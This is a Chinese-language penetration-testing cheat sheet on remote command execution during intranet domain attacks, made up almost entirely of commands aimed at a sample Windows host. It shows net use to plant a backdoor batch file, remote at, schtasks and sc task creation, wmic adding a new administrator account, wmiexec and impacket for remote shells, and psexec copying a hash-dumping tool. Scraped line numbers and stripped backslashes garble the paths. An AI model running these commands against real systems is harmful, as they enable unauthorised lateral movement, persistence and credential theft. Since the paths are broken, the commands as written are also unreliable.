内网渗透之域渗透命令执行总结

1
2
3
4
5
6

写入后门文件
net use z: \目标IPc$ "passwd" /user:"admin"
或
copy hack.bat \目标ipc$
#删除连接
net use \目标IPipc$ /del

1
2

at \170.170.64.19 23:00 c:windowssystem32calc.exe
at \170.170.64.19 1 delete /yes #删除本机1号任务

1
2
3

schtasks /create /tn firstTask /tr "c:windowssystem32cmd.exe /c calc" /sc once /st 00:00 /S 170.170.64.19 /RU System /u admin /p passwd
schtasks /run /tn firstTask /S 170.170.64.19 /u admin /p passwd
schtasks /F /delete /tn firstTask /S 170.170.64.19 /u admin /p passwd

1
2

telnet 目标ip
之后可执行命令

1
2

windows2003
windows XP

1
2
3

sc \170.170.64.19 create testSC binPath= "cmd.exe /c start c:windowshack.bat"
sc \170.170.64.19 start testSC
sc \170.170.64.19 delete testSC

1
2
3

wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c calc.exe"

wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c net user test 123456 /add && net localgroup administrators test /add"

1
2
3
4
5
6

cscript.exe //nologo wmiexec.vbs /shell 170.170.64.19 admin passwd
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd "cmdkey /list"
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd c:programdatatest.bat
#其他参数
-wait5000 表示这个命令等待5s后再读取结果，用于运行“运行时间长”的命令。
-persist 程序会在后台运行，不会有结果输出，而且会返回这个命令进程的 PID，方便结束进程，用于运行 nc 或者木马程序。

1
2
3

git clone https://github.com/SecureAuthCorp/impacket/
pip install -r requirements.txt
pip install impacket

1
2

#获取远程计算机交互式shell
python wmiexec.py admin:[email protected]

1
2
3
4
5
6
7
8
9
10
11
12
13

#打开交互式shell
psexec \170.170.64.19 -u admin -p passwd cmd
#执行单条命令
psexec \170.170.64.19 -u admin -p passwd -s cmd /c "calc.exe"
#拷贝文件到远程计算机并执行
psexec \170.170.64.19 -u admin -p passwd -c C:UsersAdministratorDesktopGetHashes.exe

#其他参数
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以 “nt authoritysystem” 权限运行远程进程
-h 如果可以，以管理员权限运行远程进程
-d 不等待程序执行完就返回，请只对非交互式应用程序使用此选项
\ip 可以替换成 @ip.txt (存放多个 ip 的文本)，可以批量执行命令